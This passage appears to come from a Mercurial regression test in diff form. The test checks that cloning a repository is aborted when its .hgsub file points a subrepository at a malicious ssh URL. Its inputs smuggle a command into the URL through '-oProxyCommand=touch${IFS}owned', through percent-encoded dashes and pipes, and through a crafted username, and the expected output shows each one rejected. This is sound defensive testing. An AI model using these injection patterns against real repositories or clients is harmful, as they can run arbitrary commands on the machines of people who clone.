s + $ cd s + $ echo init > init + $ hg add + adding init + $ hg commit -m init + $ cd .. + $ hg add .hgsub + $ hg ci -m 'add subrepo' + $ cd .. + $ hg clone malicious-proxycommand malicious-proxycommand-clone + updating to branch default + abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' (in subrepo s) + [255] + +also check that a percent encoded '-' (%2D) doesn't work + + $ cd malicious-proxycommand + $ echo 's = [hg]ssh://%2DoProxyCommand=touch${IFS}owned/path' > .hgsub + $ hg ci -m 'change url to percent encoded' + $ cd .. + $ rm -r malicious-proxycommand-clone + $ hg clone malicious-proxycommand malicious-proxycommand-clone + updating to branch default + abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' (in subrepo s) + [255] + +also check for a pipe + + $ cd malicious-proxycommand + $ echo 's = [hg]ssh://fakehost|touch${IFS}owned/path' > .hgsub + $ hg ci -m 'change url to pipe' + $ cd .. + $ rm -r malicious-proxycommand-clone + $ hg clone malicious-proxycommand malicious-proxycommand-clone + updating to branch default + abort: no suitable response from remote hg! + [255] + $ [ ! -f owned ] || echo 'you got owned' + +also check that a percent encoded '|' (%7C) doesn't work + + $ cd malicious-proxycommand + $ echo 's = [hg]ssh://fakehost%7Ctouch%20owned/path' > .hgsub + $ hg ci -m 'change url to percent encoded pipe' + $ cd .. + $ rm -r malicious-proxycommand-clone + $ hg clone malicious-proxycommand malicious-proxycommand-clone + updating to branch default + abort: no suitable response from remote hg! + [255] + $ [ ! -f owned ] || echo 'you got owned' + +and bad usernames: + $ cd malicious-proxycommand + $ echo 's = [hg]ssh://-oProxyCommand=touch [email protected]/path' > .hgsub + $ hg ci -m 'owned username' + $ cd .. + $ rm -r malicious-proxycommand-clone + $ hg clone malicious-proxycommand malicious-proxycommand-clone + updating to branch default + abort: potentially unsafe url: 'ssh://-oProxyCommand=touch [email protected]/path' (in subrepo s) + [255]
